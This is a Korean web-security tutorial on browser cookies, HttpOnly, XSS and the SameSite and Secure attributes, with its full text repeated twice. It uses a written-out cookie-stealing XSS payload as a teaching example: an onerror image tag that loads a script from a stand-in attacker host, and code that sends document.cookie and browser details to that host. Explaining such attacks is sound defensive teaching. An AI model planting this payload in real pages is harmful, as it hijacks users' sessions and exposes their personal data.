쿠키
쿠키는 웹사이트가 내 브라우저에 저장하는 작은 텍스트 파일이다.
쓰기(저장)
웹사이트가 내 브라우저에 쿠키를 저장할 수 있다.
예) 쿠팡에 처음 방문하면 쿠팡 서버가 “얘한테 ‘user_id=123’라는 쿠키를 저장해줘”라고 내 브라우저에 요청한다. 브라우저는 이 정보를 작은 텍스트 파일로 내 컴퓨터에 저장해둔다. 그래서 쿠키 접근 허용하는 팝업창이 뜨는 것이다!
읽기(접근)
나중에 같은 웹사이트(혹은 크로스 사이트 쿠키인 경우 다른 웹사이트)가 그 쿠키를 읽어간다.
예) 다시 쿠팡에 방문하면 내 쿠키에서 ‘user_id=123’이라는 쿠키를 쿠팡 서버에 전송한다. 쿠팡은 쿠키를 보고 얘 또 왔군 인식할 수 있다.
사용
- 로그인 상태 유지 (세션 쿠키)
- 장바구니 정보 저장
- 사용자 선호도 기억(언어 설정, 다크모드 등)
- 방문 기록 추적
- 광고 타겟팅
HttpOnly
쿠키에는 민감한 개인정보들이 담겨있으며, 쿠키가 털릴 경우 내 개인정보들을 다른 사람들이 알게 될 수도 있다.
HTTP의 Stateless 특성상 식별정보를 쿠키에 저장하는데, 쿠키 정보만 있다면 나쁜 의도를 가진 해커가 나인척 특정 사이트에 접속할 수 있다.
XSS 공격
쿠키를 훔치는 방법은 다양한데, 대표적인 공격 중 하나가 XSS(Cross Site Scripting)이다.
예를 들어 보안 취약점을 알아차린 해커가 아래와 같은 글과 HTML코드가 담긴 게시글을 기재한다
[충격] 우리 동네 버스기사 폭행 영상 (클릭해서 보기)
충격적인 영상입니다. 어제 발생한 사건인데요...
<img src="bus_thumbnail.jpg" width="1" height="1" onerror="
const stealer = document.createElement('script');
stealer.src = 'https://darkrunner.evil/cookie-stealer.js';
document.body.appendChild(stealer);
">
많은 사람들이 이 영상을 보고...// 사용자의 모든 쿠키 정보 수집
const cookies = document.cookie;
// 사용자 식별을 위한 추가 정보 수집
const userAgent = navigator.userAgent;
const currentPage = window.location.href;
// 이미지 객체를 생성해 정보를 해커의 서버로 전송
// (이미지 요청처럼 보이지만 실제로는 데이터 전송)
const stealerImage = new Image();
stealerImage.src = `https://darkrunner.evil/collect?cookies=${encodeURIComponent(cookies)}&ua=${encodeURIComponent(userAgent)}&page=${encodeURIComponent(currentPage)}&time=${Date.now()}`;
// 사용자가 의심하지 않도록 어떤 시각적 변화도 주지 않음
console.log("영상을 불러오는 중입니다...");제목을 보고 궁금해진 사람들은 게시글을 클릭하지만 올바르지 않은 이미지 로딩으로 에러가 발생하면서 쿠키 탈취 스크립트가 작동한다.
없는 영상을 계속 요쳥하면서 사용자에게는 영상이 로드되는 것처럼 속이고, 그 와중에 접속한 사람들의 쿠키를 다 털어간다.
이렇게 탈취한 개인 정보를 가지고 다른 사용자에게 스팸이나 피싱 메시지를 전송하는 등 악용할 수 있다.
이러한 대참사를 막기 위해 HttpOnly 속성을 설정하여 JavaScript에서 쿠키에 접근할 수 없도록 해야 한다.
// 사용자의 모든 쿠키 정보 수집
const cookies = document.cookie;HttpOnly 속성이 설정되어 있었다면, 위 부분에서 해당 쿠키에 접근하는 것(document.cookie)이 불가능하다. HttpOnly가 설정된 쿠키는 document.cookie를 통해 읽을 수 없다.
인증과 관련된 중요 쿠키에는 항상 HttpOnly 속성을 설정하는 것이 보편적이다.
크로스 사이트 및 동일 사이트 쿠키 컨텍스트 이해
크로스 사이트
웹 사이트는 일반적으로 광고, 컨텐츠 권장 사항, 타사 위젯, 소셜 임베드 등 다른 기능을 위해 외부 서비스를 통합한다. 웹을 탐색할 때 이런 외부 서비스들은 브라우저에 쿠키를 저장하고 그 쿠키에 접근해서 개인 맞춤형 경험을 제공하거나 잠재 고객의 참여도를 측정할 수 있다. 모든 쿠키에는 관련된 도메인이 있는데, 쿠키의 도메인이 현재 방문 중인 웹사이트의 URL이 아닌 외부 서비스와 일치할 경우, 이는 크로스 사이트(또는 ‘서드 파티’) 컨텍스트라고 한다.
크로스 사이트에서 쿠키를 사용하는 예시
구글링 하는 중에 내가 전에 방문했던 쿠팡의 광고가 나오는 경우를 생각해보자. 구글은 자체 쿠키(google.com 또는 doubleclick.net 등)를 통해 내 검색 기록이나 방문사이트를 추적한다. 쿠팡이 구글 광고 네트워크에 광고를 게재하였다면, 나에게 관련성 있다고 판단된 쿠팡 광고를 구글이 보여준다. 반대로 이전에 내가 쿠팡을 방문했고, 쿠팡이 내 브라우저에서 자신들의 쿠키를 저장하면(coupang.com 도메인의 쿠키) 내가 구글에서 검색할 때 광고 네트워크가 이 쿠키를 읽어서 쿠팡에 관심이 있으니 쿠팡 광고를 보여주자!고 판단하게 된다. 이 두 가지 경우 모두 크로스 사이트 쿠키가 작동한 것이다.
네이버가 네이버 쿠키를 사용해도 크로스 사이트로 취급한다고?
같은 회사가 여러 다른 도메인의 웹사이트를 운영할 때, 한 도메인의 웹사이트가 다른 도메인의 쿠키를 사용하려고 하면, 이것도 크로스 사이트 쿠키 사용으로 간주된다. 같은 회사 소유라고 해도, 도메인 이름이 다르면 기술적으로는 ‘다른 사이트’로 취급되기 때문이다. 예를 들어 네이버는 같은 회사에서 네이버 블로그, 네이버 지도, 네이버 메일 등 여러 서비스를 운영한다. 네이버 블로그에서 네이버 지도 쿠키에 접근하려고 해도 도메인 이름이 미묘하게 다르기 때문에 크로스 사이트로 취급된다.
동일 사이트
동일 사이트(또는 ‘퍼스트 파티’) 컨텍스트에서 쿠키 액세스는 쿠키의 도메인이 사용자의 URL과 일치할 때 발생한다. 동일 사이트 쿠키는 일반적으로 사용자가 개별 웹사이트에 로그인한 상태를 유지하고, 환경설정을 기억하며 사이트 분석을 지원하는 데 사용된다.
내가 쿠팡을 방문하고 있고, 그 사이트가 쿠팡 도메인의 쿠키에 접근하면 동일 사이트 컨텍스트이다. 위에서 설명한 것처럼 장바구니 내역이나 검색 내역 등을 저장하고 로그인 상태를 관리해주면서 사용자의 편의를 높일 수 있다. 동일 사이트 쿠키는 대체로 제한하지 않는다.
쿠키 보안 및 투명성을 위한 새로운 모델
SameSite 쿠키 설정
SameSite 쿠키 설정은 쿠키가 어떤 컨텍스트에서 전송될 수 있는지 제어하는 옵션이다. 이 설정을 통해서 개발자는 자신의 쿠키가 크로스 사이트 요청에서 사용되는 것을 제한할 수 있다. (이 속성은 20년도부터 Chrome 브라우저에서 명시적으로 설정해주지 않으면 기본값 SameSite=Lax로 설정되었다)
SameSite=Strict;
가장 엄격한 설정으로, 쿠키는 오직 같은 사이트에서 온 요청에만 전송된다. 예를 들어 다른 사이트의 링크를 통해 해당 사이트로 이동할 때도 쿠키가 전송되지 않는다
SameSite=Lax;
약간 덜 엄격한 설정으로, 사용자가 다른 사이트에서 링크를 클릭하여 해당 사이트로 이동할 때는 쿠키가 전송되지만, 이미지나 프레임 로딩과 같은 크로스 사이트 요청에서는 전송되지 않는다
SameSite=None;
크로스 사이트 요청에서도 쿠키가 전송될 수 있다. 이 옵션을 사용할 때는 반드시 Secure 옵션과 함께 설정해야 한다.(HTTPS 연결에서만 쿠키 전송 허용)
Secure
SameSite=None 옵션을 사용하려면 Secure 옵션을 반드시 함께 사용해야 한다.
Secure 속성은 쿠키가 HTTPS(암호화된 연결)를 통해서만 전송되도록 제한하는 설정이다. 쿠키에 이 속성이 설정되면, 브라우저에서는 안전한 HTTPS 연결에서만 해당 쿠키를 서버로 전송하고, 일반 HTTP 연결에서는 전송하지 않는다.
2020년 이후 크롬의 변경사항으로 SameSite=None과 반드시 함께 설정해줘야 하는 속성이다.
쿠키
쿠키는 웹사이트가 내 브라우저에 저장하는 작은 텍스트 파일이다.
쓰기(저장)
웹사이트가 내 브라우저에 쿠키를 저장할 수 있다.
예) 쿠팡에 처음 방문하면 쿠팡 서버가 “얘한테 ‘user_id=123’라는 쿠키를 저장해줘”라고 내 브라우저에 요청한다. 브라우저는 이 정보를 작은 텍스트 파일로 내 컴퓨터에 저장해둔다. 그래서 쿠키 접근 허용하는 팝업창이 뜨는 것이다!
읽기(접근)
나중에 같은 웹사이트(혹은 크로스 사이트 쿠키인 경우 다른 웹사이트)가 그 쿠키를 읽어간다.
예) 다시 쿠팡에 방문하면 내 쿠키에서 ‘user_id=123’이라는 쿠키를 쿠팡 서버에 전송한다. 쿠팡은 쿠키를 보고 얘 또 왔군 인식할 수 있다.
사용
- 로그인 상태 유지 (세션 쿠키)
- 장바구니 정보 저장
- 사용자 선호도 기억(언어 설정, 다크모드 등)
- 방문 기록 추적
- 광고 타겟팅
HttpOnly
쿠키에는 민감한 개인정보들이 담겨있으며, 쿠키가 털릴 경우 내 개인정보들을 다른 사람들이 알게 될 수도 있다.
HTTP의 Stateless 특성상 식별정보를 쿠키에 저장하는데, 쿠키 정보만 있다면 나쁜 의도를 가진 해커가 나인척 특정 사이트에 접속할 수 있다.
XSS 공격
쿠키를 훔치는 방법은 다양한데, 대표적인 공격 중 하나가 XSS(Cross Site Scripting)이다.
예를 들어 보안 취약점을 알아차린 해커가 아래와 같은 글과 HTML코드가 담긴 게시글을 기재한다
[충격] 우리 동네 버스기사 폭행 영상 (클릭해서 보기)
충격적인 영상입니다. 어제 발생한 사건인데요...
<img src="bus_thumbnail.jpg" width="1" height="1" onerror="
const stealer = document.createElement('script');
stealer.src = 'https://darkrunner.evil/cookie-stealer.js';
document.body.appendChild(stealer);
">
많은 사람들이 이 영상을 보고...// 사용자의 모든 쿠키 정보 수집
const cookies = document.cookie;
// 사용자 식별을 위한 추가 정보 수집
const userAgent = navigator.userAgent;
const currentPage = window.location.href;
// 이미지 객체를 생성해 정보를 해커의 서버로 전송
// (이미지 요청처럼 보이지만 실제로는 데이터 전송)
const stealerImage = new Image();
stealerImage.src = `https://darkrunner.evil/collect?cookies=${encodeURIComponent(cookies)}&ua=${encodeURIComponent(userAgent)}&page=${encodeURIComponent(currentPage)}&time=${Date.now()}`;
// 사용자가 의심하지 않도록 어떤 시각적 변화도 주지 않음
console.log("영상을 불러오는 중입니다...");제목을 보고 궁금해진 사람들은 게시글을 클릭하지만 올바르지 않은 이미지 로딩으로 에러가 발생하면서 쿠키 탈취 스크립트가 작동한다.
없는 영상을 계속 요쳥하면서 사용자에게는 영상이 로드되는 것처럼 속이고, 그 와중에 접속한 사람들의 쿠키를 다 털어간다.
이렇게 탈취한 개인 정보를 가지고 다른 사용자에게 스팸이나 피싱 메시지를 전송하는 등 악용할 수 있다.
이러한 대참사를 막기 위해 HttpOnly 속성을 설정하여 JavaScript에서 쿠키에 접근할 수 없도록 해야 한다.
// 사용자의 모든 쿠키 정보 수집
const cookies = document.cookie;HttpOnly 속성이 설정되어 있었다면, 위 부분에서 해당 쿠키에 접근하는 것(document.cookie)이 불가능하다. HttpOnly가 설정된 쿠키는 document.cookie를 통해 읽을 수 없다.
인증과 관련된 중요 쿠키에는 항상 HttpOnly 속성을 설정하는 것이 보편적이다.
크로스 사이트 및 동일 사이트 쿠키 컨텍스트 이해
크로스 사이트
웹 사이트는 일반적으로 광고, 컨텐츠 권장 사항, 타사 위젯, 소셜 임베드 등 다른 기능을 위해 외부 서비스를 통합한다. 웹을 탐색할 때 이런 외부 서비스들은 브라우저에 쿠키를 저장하고 그 쿠키에 접근해서 개인 맞춤형 경험을 제공하거나 잠재 고객의 참여도를 측정할 수 있다. 모든 쿠키에는 관련된 도메인이 있는데, 쿠키의 도메인이 현재 방문 중인 웹사이트의 URL이 아닌 외부 서비스와 일치할 경우, 이는 크로스 사이트(또는 ‘서드 파티’) 컨텍스트라고 한다.
크로스 사이트에서 쿠키를 사용하는 예시
구글링 하는 중에 내가 전에 방문했던 쿠팡의 광고가 나오는 경우를 생각해보자. 구글은 자체 쿠키(google.com 또는 doubleclick.net 등)를 통해 내 검색 기록이나 방문사이트를 추적한다. 쿠팡이 구글 광고 네트워크에 광고를 게재하였다면, 나에게 관련성 있다고 판단된 쿠팡 광고를 구글이 보여준다. 반대로 이전에 내가 쿠팡을 방문했고, 쿠팡이 내 브라우저에서 자신들의 쿠키를 저장하면(coupang.com 도메인의 쿠키) 내가 구글에서 검색할 때 광고 네트워크가 이 쿠키를 읽어서 쿠팡에 관심이 있으니 쿠팡 광고를 보여주자!고 판단하게 된다. 이 두 가지 경우 모두 크로스 사이트 쿠키가 작동한 것이다.
네이버가 네이버 쿠키를 사용해도 크로스 사이트로 취급한다고?
같은 회사가 여러 다른 도메인의 웹사이트를 운영할 때, 한 도메인의 웹사이트가 다른 도메인의 쿠키를 사용하려고 하면, 이것도 크로스 사이트 쿠키 사용으로 간주된다. 같은 회사 소유라고 해도, 도메인 이름이 다르면 기술적으로는 ‘다른 사이트’로 취급되기 때문이다. 예를 들어 네이버는 같은 회사에서 네이버 블로그, 네이버 지도, 네이버 메일 등 여러 서비스를 운영한다. 네이버 블로그에서 네이버 지도 쿠키에 접근하려고 해도 도메인 이름이 미묘하게 다르기 때문에 크로스 사이트로 취급된다.
동일 사이트
동일 사이트(또는 ‘퍼스트 파티’) 컨텍스트에서 쿠키 액세스는 쿠키의 도메인이 사용자의 URL과 일치할 때 발생한다. 동일 사이트 쿠키는 일반적으로 사용자가 개별 웹사이트에 로그인한 상태를 유지하고, 환경설정을 기억하며 사이트 분석을 지원하는 데 사용된다.
내가 쿠팡을 방문하고 있고, 그 사이트가 쿠팡 도메인의 쿠키에 접근하면 동일 사이트 컨텍스트이다. 위에서 설명한 것처럼 장바구니 내역이나 검색 내역 등을 저장하고 로그인 상태를 관리해주면서 사용자의 편의를 높일 수 있다. 동일 사이트 쿠키는 대체로 제한하지 않는다.
쿠키 보안 및 투명성을 위한 새로운 모델
SameSite 쿠키 설정
SameSite 쿠키 설정은 쿠키가 어떤 컨텍스트에서 전송될 수 있는지 제어하는 옵션이다. 이 설정을 통해서 개발자는 자신의 쿠키가 크로스 사이트 요청에서 사용되는 것을 제한할 수 있다. (이 속성은 20년도부터 Chrome 브라우저에서 명시적으로 설정해주지 않으면 기본값 SameSite=Lax로 설정되었다)
SameSite=Strict;
가장 엄격한 설정으로, 쿠키는 오직 같은 사이트에서 온 요청에만 전송된다. 예를 들어 다른 사이트의 링크를 통해 해당 사이트로 이동할 때도 쿠키가 전송되지 않는다
SameSite=Lax;
약간 덜 엄격한 설정으로, 사용자가 다른 사이트에서 링크를 클릭하여 해당 사이트로 이동할 때는 쿠키가 전송되지만, 이미지나 프레임 로딩과 같은 크로스 사이트 요청에서는 전송되지 않는다
SameSite=None;
크로스 사이트 요청에서도 쿠키가 전송될 수 있다. 이 옵션을 사용할 때는 반드시 Secure 옵션과 함께 설정해야 한다.(HTTPS 연결에서만 쿠키 전송 허용)
Secure
SameSite=None 옵션을 사용하려면 Secure 옵션을 반드시 함께 사용해야 한다.
Secure 속성은 쿠키가 HTTPS(암호화된 연결)를 통해서만 전송되도록 제한하는 설정이다. 쿠키에 이 속성이 설정되면, 브라우저에서는 안전한 HTTPS 연결에서만 해당 쿠키를 서버로 전송하고, 일반 HTTP 연결에서는 전송하지 않는다.
2020년 이후 크롬의 변경사항으로 SameSite=None과 반드시 함께 설정해줘야 하는 속성이다.
